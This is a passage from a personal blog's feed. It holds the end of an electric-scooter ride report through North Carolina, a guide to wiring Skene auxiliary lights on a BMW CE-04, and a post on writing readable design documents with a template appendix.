&lt;p&gt;I didn&#39;t leave the restaurant until 8pm, so at this point, I am chasing the dying embers of the sun as I make my way home.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/nkO3QGQy.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Highway 50 is wonderfully quiet, idyllic, and filled with cornfields as far as the eye can see. I like it here.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/9aXM9LZT.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I pass through Coats and Angier again, but this time make a quick photo stop at &lt;a href=&quot;https://www.sunniskys.com/&quot;&gt;Sunni Skies Homemade Ice Cream&lt;/a&gt;. This is the closest North Carolina has to a &amp;quot;famous&amp;quot; ice cream shop, with 130+ flavors and numerous appearances on TV shows. Two of their flavors, &amp;quot;Exit Wound&amp;quot; and &amp;quot;Cold Sweat&amp;quot; are so spicy that they require you to sign a waiver. While it sounds enticing, I&#39;m feeling done and decide to push hard to see if I can make it home by 11.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Having a Holly Jolly Time&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I arrive in Holly Springs in the dark, with 22% battery, and without fanfare. I am gobsmacked to see that this town has an actual nightlife in 2023, with bars and fancy restaurants with patios. When I lived here 20 years ago, the after-hours activity of choice was the Sonic Drive-Thru and the nearby Walmart.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/55Ui5a93.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The charger parking at the Holly Springs Town Hall is weird: there are two charger ports and one EV space jammed up to the handicapped parking. While chances are slim that I would get a ticket for parking in the handicapped spot as it&#39;s the only place most vehicles can access the second port from, I&#39;m on a bike - so I just park behind on the sidewalk, risking a more exotic citation.&lt;/p&gt;
&lt;p&gt;I charge up to 65% - just enough to make it home with a large margin of error. Then, I meander back through the suburban maze of the triangle. Coming back in the other direction, other than the street names, the roads don&#39;t seem any more recognizable in the dark than the mystery they were before.&lt;/p&gt;
&lt;p&gt;At this hour, my main concern is drunk and distracted drivers rather than deer, but there is no drama today. I arrive home in Chapel Hill at 10:41pm with a 22% charge. Oddly enough, I&#39;m not tired at all – likely because I’ve been sitting on a  grin-inducing adrenaline machine for most of the day.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/piggly-wiggly-saves-the-electric-coastal-raid/c3SWQDUz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The  Numbers&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;333 miles&lt;/li&gt;
&lt;li&gt;17 hours and 40 minutes&lt;/li&gt;
&lt;li&gt;11 charges&lt;/li&gt;
&lt;li&gt;1 lost bag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As far as determining the daily travel limits of the CE-04, here are my new thoughts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;250 miles (400km): easily accomplished with the right infrastructure&lt;/li&gt;
&lt;li&gt;350 miles (560km): requires planning and luck.&lt;/li&gt;
&lt;li&gt;500 miles (800km): the practical upper limit for a full 24-hour day.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;In closing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This trip had a bit of everything central to the modern EV charging experience in America:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Missing chargers&lt;/li&gt;
&lt;li&gt;Unavailable chargers&lt;/li&gt;
&lt;li&gt;Incompatible chargers&lt;/li&gt;
&lt;li&gt;Overall confusion over technology&lt;/li&gt;
&lt;li&gt;Lack of signage&lt;/li&gt;
&lt;li&gt;Awkward parking arrangements&lt;/li&gt;
&lt;li&gt;Misbehaving charging apps&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are riding around in a Tesla with 300+ miles of range and automated navigation to a well-maintained charging network, it&#39;s easy to be oblivious to how difficult long-distance travel is for other EV users.&lt;/p&gt;
&lt;p&gt;As much as I love the CE-04, I came away from this day more convinced than ever that any EV without support for DC fast charging is an evolutionary dead-end. I&#39;m eager to see what &lt;a href=&quot;https://www.fuell.us/products/fuell-fllow-e-motorcycle&quot;&gt;Fuell&lt;/a&gt;, &lt;a href=&quot;https://www.energicamotor.com/us/&quot;&gt;Energica&lt;/a&gt;, &lt;a href=&quot;https://www.livewire.com/&quot;&gt;Livewire&lt;/a&gt;, and other forward-thinking manufacturers do in the near future.&lt;/p&gt;
&lt;p&gt;I suspect that 10 years from now, this ride report will look as antiquated as reports from 1920 look to us today.&lt;/p&gt;
</content>
  </entry><entry>
    <title>Skene Lights Installation on the BMW CE-04</title>
    <link href="https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/"/>
    <updated>2023-06-14T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/</id>
    <content xml:lang="en" type="html">&lt;p&gt;Before allowing my kids to ride on the back of my BMW CE 04, I wanted to drastically improve its visibility. It turns out that there is a company that specializes in doing just that: &lt;a href=&quot;https://skenelights.com/&quot;&gt;skenelights.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The lights they sell have a unique conspicuity filter, which uses the motion-detecting characteristics of human vision to enhance visibility. It&#39;s difficult to accurately capture the appearance with a cell phone camera due to the rolling shutter, but this is what it looks like before sunset and at night:&lt;/p&gt;
&lt;p&gt;https://youtu.be/1ggsJFvgzgc&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;These lights can also work as an extra set of blinkers, and in the case of the rear lights, they will also light up if I hit the brakes or through deceleration if I even just let off the throttle.&lt;/p&gt;
&lt;p&gt;The biggest problem with installing 3rd party lights is knowing how and where to plug them in. As BMW has chosen not to publish an electrical diagram, it took me a full day to figure it out. This was my first time using Posi-Tap connectors, which was easier than I thought: after watching a &lt;a href=&quot;https://www.youtube.com/watch?v=5v0Sv1LVMo4&quot;&gt;Posi-Tap install video&lt;/a&gt;, I only had one wire that required multiple taps: the 12V+ lead on the license plate light.&lt;/p&gt;
&lt;p&gt;This guide is meant to capitalize on my misery and for your use as a time-saving CE-04-specific supplement to the &lt;a href=&quot;https://skenelights.com/support.html&quot;&gt;official Skene installation guides&lt;/a&gt;. Now, let’s go take things apart!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/ucmfIMdD.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Photon Blaster-TS Front Lights Installation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Time&lt;/strong&gt;: 2 hours if this is your first time installing lights&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tools&lt;/strong&gt;: T30 wrench, T25 wrench&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Suggested wiring:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Switched +12V -&amp;gt; Green alarm wire&lt;/li&gt;
&lt;li&gt;Ground -&amp;gt; Brown alarm wire&lt;/li&gt;
&lt;li&gt;Left Turn Signal -&amp;gt; Red left turn signal wire&lt;/li&gt;
&lt;li&gt;Right Turn Signal -&amp;gt; Red right turn signal wire&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1. Remove the front panel&lt;/h3&gt;
&lt;p&gt;The front panel on the CE-04 slides down - no tools required.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/7hYeyHHs.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Underneath this panel are the headlight adjusters, an emergency T25 wrench, and an ODB-II port.&lt;/p&gt;
&lt;h3&gt;2. Remove the windscreen.&lt;/h3&gt;
&lt;p&gt;This is held by 4 T25 screws. If you have the high windscreen, you may have more screws than this, but you only need to remove the bottom 4 for this project.&lt;/p&gt;
&lt;h3&gt;3. Remove the relay and indicator panel&lt;/h3&gt;
&lt;p&gt;There are 4 T30 screws underneath the windscreen and behind the display.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/JT537emH.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once unscrewed, you can access all the wires you need to install auxiliary lights for the BMW CE 04. First, we are going to use the alarm for 12V switched power and ground - highlighted below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/rEZK5Kxj.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;4. Tap the alarm connector&lt;/h3&gt;
&lt;p&gt;I don&#39;t have an alarm, so my scooter came with this 120-ohm resistor (BMW part 7668405 01) installed. Either way, the idea is the same: install the larger blue Posi-Tap&#39;s on the brown (ground) and green (12V switched power) wires.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/rRDvVdux.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once you&#39;ve done that, connect the wires up to your Photon Blasters and power up the CE 04 to confirm basic operations:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/2v8k8JR6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If your taps were successful, the lights should now work when you turn your scooter on. If not, check that you successfully pierced the cable, as it is easy to miss the center of the plug you are tapping into - DAMHIK.&lt;/p&gt;
&lt;h3&gt;5. Tap the turn signals&lt;/h3&gt;
&lt;p&gt;If you have the turn-signal variety of the Photon Blasters (-TS suffix), tap into the red wires on the turn signal cables too. Thankfully they are straightforward to access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/eP43KGBJ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;6. Secure the controller&lt;/h3&gt;
&lt;p&gt;Try your turn signals, and if they work, you can move on to placing the velcro for the controller on the flat area between the alarm and the screen:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/N04Wc3lh.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;7. Route the LED cables&lt;/h3&gt;
&lt;p&gt;Before you clean up your cable mess, I suggest screwing the Skene lights into their eventual home at the bottom of the wheels. You can drape them across the front of the fairing on either side. I experimented with several ideas, such as removing the panels and using the gaps between them, but in the end, I went with a simple approach (no additional unscrewing required):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/SE963ky0.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The installation guide suggests a drip loop so water does not drip down the cable and into the lights.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/N96XQQ0V.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found that introducing this bend into the cable revealed wires on the right side light, so I added some reinforcement electrical tape to protect it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/n1kKL9fj.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I routed the cable up the fork protector and added a zip tie to the fork boots to make sure that the cable didn&#39;t pop out from behind the protector:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/k2H9Zz5t.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now get the bike on the center stand, and push the wheel full lock in either direction to ensure that the wires are not run so tightly that they interfere with steering.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/NSxFDObr.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;8. Clean up&lt;/h3&gt;
&lt;p&gt;Then go ahead and wrap all of your connectors with electrical tape and use every twist tie you can to make things look nice. Here is what things looked like under the hood for me before I put the panels back on:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/qhqYV6JO.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was able to hide all of the wires beneath the turn signal panel so that you couldn&#39;t even tell that evil things had been done below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/FqBiZ46x.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now slide the front panel back into place, put the screen on, and level out the LEDs. If your lights aren&#39;t pulsing, you may need to enable the conspicuity mode - see the manual for programming notes.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;P3 Rear Lights (IQ-260 Series) Installation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Time&lt;/strong&gt;: 2 hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tools&lt;/strong&gt;: T25 wrench, multi-tool, scissors&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Suggested wiring:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Switched +12V -&amp;gt; white/grey wire to the license plate light&lt;/li&gt;
&lt;li&gt;Ground -&amp;gt; brown wire to the license plate light&lt;/li&gt;
&lt;li&gt;Left Turn Signal -&amp;gt; white wire to the indicator cluster&lt;/li&gt;
&lt;li&gt;Right Turn Signal -&amp;gt; blue/green wire to the indicator cluster&lt;/li&gt;
&lt;li&gt;Brake - one of the two lavender/red wires to the indicator cluster&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On the CE-04, the rear lights are more challenging to install than the front lights. Having removed the rear wheel before to replace a broken indicator light, I opted to write up installation instructions that do not require wheel removal - even if doing so does provide a slightly cleaner install.&lt;/p&gt;
&lt;h3&gt;1. Remove panels&lt;/h3&gt;
&lt;p&gt;First, remove the 3 T25 bolts holding the belt cover. The arrow points to where we will be tapping the wires:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/XIqfSeOt.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Remove the white panels on both sides for more room - both have one T25 bolt to remove before you can pull them out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/luEZFie5.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2. Tap the power leads&lt;/h3&gt;
&lt;p&gt;You will need to strip the fabric from two cables: the 2-wire license plate light cable with a quick connector and a 6-wire indicator cluster cable. I suggest carefully removing the license plate light cable using the quick connector and a small flat-head screwdriver for easier access.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/atm4pXNX.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you end up breaking the safety latch on it, no big deal - I broke mine on the second go around. Once detected, install PosiTaps on these two wires for the ground (brown) and 12V switched power (silver/black).&lt;/p&gt;
&lt;p&gt;Once you do this, perform a power-on test of the lights.&lt;/p&gt;
&lt;h3&gt;3. Tap the signal leads&lt;/h3&gt;
&lt;p&gt;The 6-wire indicator cluster cable is behind the license plate light and is slightly more difficult to unwrap. I used a small pocket knife and pair of scissors to cut into the section where the thick translucent plastic protector part ends, careful not to cut into the wires:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/NScDC402.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You&#39;ll need to install Posi-Taps onto the white wire (left turn signal), blue/green wire (right turn signal), and one of the lavender/red wires (brake). The result looks somewhat like a rainbow snake exploded:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/trQeMOuO.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;4. Wrap the taps&lt;/h3&gt;
&lt;p&gt;I wrapped the cables up in electrical tape (I regret using purple), and then removed the back panel (T25 screws) to cleverly hide the tapped cables and route the controller to its final resting space above the 12V battery.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/hfi5eK6M.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;5. Secure the controller&lt;/h3&gt;
&lt;p&gt;I could have hidden the controller below, but since I had the decelerometer version, I needed a level surface, so I chose the space just above the 12V battery.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/bxOyzqIY.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As the manual suggested, I installed a zip tie to the cables, and then I used some duct tape to keep it from rattling around.&lt;/p&gt;
&lt;h3&gt;6. Route the LED cables&lt;/h3&gt;
&lt;p&gt;Once I knew how long I needed the wires to run, I installed the rear lights, running the wires beneath the swing arm until they could join the standard indicator wires. If you remove the rear wheel, you can instead access the small channel underneath the plastic:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/Cw1UQhrn.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once you put humpty dumpty back together again, it will look something like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/skene-lights-installation-on-the-bmw-ce-04/MiJEmDhk.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;While I don’t love the visible tie wraps on the mudguard holder, I also don’t love removing and reinstalling the rear wheel.&lt;/p&gt;
&lt;p&gt;I suspect I could have likely gotten a cleaner install by tapping closer to the fuse blocks, but I was trying to stay out of the high-voltage area of the bike.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;In Closing&lt;/h2&gt;
&lt;p&gt;The Skene lights were a pain to install but well worth the added visibility. If I was to criticize anything, it&#39;d be the wire boot on the Photon Blaster LED lights and the fact that when the turn signal is on, both the Photon Blasters will display an alternate flashing pattern.&lt;/p&gt;
</content>
  </entry><entry>
    <title>Writing Readable Design Docs</title>
    <link href="https://choosehappy.dev/posts/2023/elements-of-a-readable-design-document/"/>
    <updated>2023-06-06T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/elements-of-a-readable-design-document/</id>
    <content xml:lang="en" type="html">&lt;p&gt;A reposting from my Google Doc at &lt;a href=&quot;https://tinyurl.com/readable-dd&quot;&gt;https://tinyurl.com/readable-dd&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Why bother?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Circulating a design document is like putting your idea up for code review.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Submitting ideas to the scrutiny of peer review is your team&#39;s best defense against engineering incompatible with its principles.&lt;/p&gt;
&lt;p&gt;All humans have blind spots. Your goal as an author is to gather enough input to reveal them before execution. Issues found during design are &lt;a href=&quot;https://www.researchgate.net/publication/255965523_Integrating_Software_Assurance_into_the_Software_Development_Life_Cycle_SDLC&quot;&gt;6X cheaper&lt;/a&gt; to fix than during implementation:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/elements-of-a-readable-design-document/tN45o8UW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The questions that reviewers should have in their mind while reading the document are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Does this fit with my organization&#39;s principles?&lt;/li&gt;
&lt;li&gt;Could the proposed implementation be made simpler?&lt;/li&gt;
&lt;li&gt;Are there alternative approaches to consider?&lt;/li&gt;
&lt;li&gt;What additional concerns should be addressed?&lt;/li&gt;
&lt;/ul&gt;
&lt;!--more--&gt;
&lt;h2&gt;10 Elements of Readable Design Documents&lt;/h2&gt;
&lt;h3&gt;1. Optimized for reading&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Be respectful of your reader&#39;s time.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Design documents should be just long enough to convey your novel idea and no longer.  The longer your design document, the less likely it is to be read and understood.&lt;/p&gt;
&lt;p&gt;If your design document is over seven pages long, relocate supporting content into separate documents and add hyperlinks. If your design document is over 10 pages long, you are not respecting your reader&#39;s time.&lt;/p&gt;
&lt;h3&gt;2. Grounded by context&lt;/h3&gt;
&lt;p&gt;Why do we need this thing?&lt;/p&gt;
&lt;p&gt;Design documents often have a shelf-life of 5-10 years and may be read by hundreds of engineers. &lt;em&gt;&lt;strong&gt;Write design documents for the engineers that come after you.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Provide a Background section to ground all readers in the same context that you have as an author. This section should describe how this became a problem, why it is worth solving, and whether anyone has previously attempted to solve it. This section should not reference the proposed design.&lt;/p&gt;
&lt;h3&gt;3. Focused content&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Most design documents should not include code or configuration examples.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;If an example is critical to understanding a design (for example, a new API or config file format), show an example or two, but stay under 20 lines total.&lt;/p&gt;
&lt;p&gt;Including code encourages &lt;a href=&quot;https://exceptionnotfound.net/bikeshedding-the-daily-software-anti-pattern/&quot;&gt;bike-shedding&lt;/a&gt; and distracts reviewers from reviewing the novel portions of your design and architecture. Code changes are better reviewed down the line using code-review tools, where more context is available.&lt;/p&gt;
&lt;h3&gt;4. Considers alternatives&lt;/h3&gt;
&lt;p&gt;The most critical section of a design document is the enumeration of ideas imagined and why they are no longer being considered. This section sends a message to prospective reviewers that you&#39;ve done your homework and should serve to answer the question: &amp;quot;Is this solution sized appropriately?&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Your reviewers should be confident that your proposal is no more complicated than necessary and not simpler than required.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;5. Consistently structured&lt;/h3&gt;
&lt;p&gt;To promote easy reading and ensure that the most important topics are covered, introduce a standard design document template within your organization. Here&#39;s my ideal set to start with, roughly based on Google&#39;s own internal structure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Objective:&lt;/strong&gt; 1-2 line description of the impact you intend this new design to have&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Background:&lt;/strong&gt; What context is necessary to understand this design? Assume the reader is brand-new to the project. Do not mention your proposed solution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Goals/Non-Goals:&lt;/strong&gt; A bulleted list of your goals and what problems you do not intend to solve. This section helps illustrate design constraints.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detailed Design:&lt;/strong&gt; This is where you describe the novel part of your design.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alternatives Considered:&lt;/strong&gt; What ideas did you consider and discard?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;(Reliability|Security|Privacy) Considerations:&lt;/strong&gt; optional. Include where helpful.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Noticeably missing are planning-related sections, as they come after design approval and are better tracked elsewhere. Keep your template concise and well-scoped to encourage folks to design early and design often.&lt;/p&gt;
&lt;h3&gt;6. Collaborative&lt;/h3&gt;
&lt;p&gt;To cover your blind spots, pair up with a co-author early on.&lt;/p&gt;
&lt;p&gt;Share your design document widely before it is fully polished.  Encourage peers to suggest improvements or make them directly. In my experience, Sharing a Google Doc invites more collaboration and comments than sharing a pull request.&lt;/p&gt;
&lt;p&gt;When feedback is light, set aside 10 minutes at the beginning of your next team meeting for attendees to read your document and add comments.&lt;/p&gt;
&lt;h3&gt;7. Measured Success&lt;/h3&gt;
&lt;p&gt;How will you prove whether or not this design was successful? Don&#39;t make the reviewer guess: paint them a picture of success.&lt;/p&gt;
&lt;p&gt;If this design intends to replace an existing system, include the deprecation of the previous system and comparisons to the existing behavior. For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$new_system handles 100% of requests within 1ms (vs 100ms)&lt;/li&gt;
&lt;li&gt;$old_system code base is deleted&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bonus points if you add a hyperlink to the authoritative data source.&lt;/p&gt;
&lt;h3&gt;8. Visual&lt;/h3&gt;
&lt;p&gt;Use this one strange trick to make your design doc memorable and encourage further reading: add an image.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/elements-of-a-readable-design-document/NBuZa0uF.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It doesn&#39;t really matter what the image is, but consider adding a simple diagram to convey how your system interacts with others. If you can&#39;t come up with a diagram, insert a relevant meme or photo of your dog. People will remember it.&lt;/p&gt;
&lt;h3&gt;9. Legible&lt;/h3&gt;
&lt;p&gt;Do not assume that every reader is a native English speaker.&lt;/p&gt;
&lt;p&gt;Understanding new ideas is difficult enough in a native language and doubly so when it isn&#39;t in your native language. Do not make non-native readers suffer through poor grammar or slang.&lt;/p&gt;
&lt;p&gt;Just as you would run a lint-checker on code, use a grammar checker to find text that may confuse readers.  Many free options exist, from Google Docs to &lt;a href=&quot;https://valentjn.github.io/vscode-ltex/&quot;&gt;VS Code plug-ins&lt;/a&gt; to purpose-driven solutions such as &lt;a href=&quot;https://grammarly.com/&quot;&gt;Grammarly&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;10. Annotated&lt;/h3&gt;
&lt;p&gt;Design docs should declare who the authors are, the design, when it was written, and where within the review process it is.  &#92;&lt;/p&gt;
&lt;p&gt;Your design document will move across different document repositories over its lifetime, so don&#39;t rely on revision control or Google Docs metadata, which may not be visible to the reader.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.industrialempathy.com/posts/design-docs-at-google/&quot;&gt;Design Docs at Google&lt;/a&gt; by &lt;a href=&quot;https://www.industrialempathy.com/about/&quot;&gt;Malte Ubl&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://oxide.computer/blog/rfd-1-requests-for-discussion/&quot;&gt;Oxide Computer Company: RFD 1 Requests for Discussion&lt;/a&gt; by Jessica Frazelle&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Appendix: Example Design Doc Template&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Note for reviewers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;While reviewing this proposal, focus on answering for yourself:&lt;/p&gt;
&lt;p&gt;Does this proposal fit with our engineering principles?&lt;/p&gt;
&lt;p&gt;Are there unexplored concerns with this design, such as reliability or usability issues?&lt;/p&gt;
&lt;p&gt;Could the proposed implementation be made simpler?&lt;/p&gt;
&lt;p&gt;Are there other alternatives to consider?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Summary&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1-2 sentence summary of the idea, including the expected impact if implemented.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The background serves to ground all readers in the same context that you have as an author. You should describe how the problem came to be, why it&#39;s worth solving, and whether there were previous attempts to solve it. Assume that the reader is new to this project but not the company.&lt;/p&gt;
&lt;p&gt;Define or add hyperlinks to terms the reader may not yet be familiar with.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Goals&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A bulleted list of specific goals for this proposal&lt;/li&gt;
&lt;li&gt;How will we know that this proposal has succeeded?&lt;/li&gt;
&lt;li&gt;Include specific, measurable outcomes that can be cited or tracked on a dashboard.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Non-Goals&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A bulleted list of what is out of scope for this proposal&lt;/p&gt;
&lt;p&gt;Is there something specific that is too difficult to solve at this time?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Detailed design&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This section constitutes the bulk of the RFC and is typically 1-4 pages long. It should focus on the novel implementation idea and specific corner cases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Drawbacks&lt;/strong&gt;&lt;/p&gt;
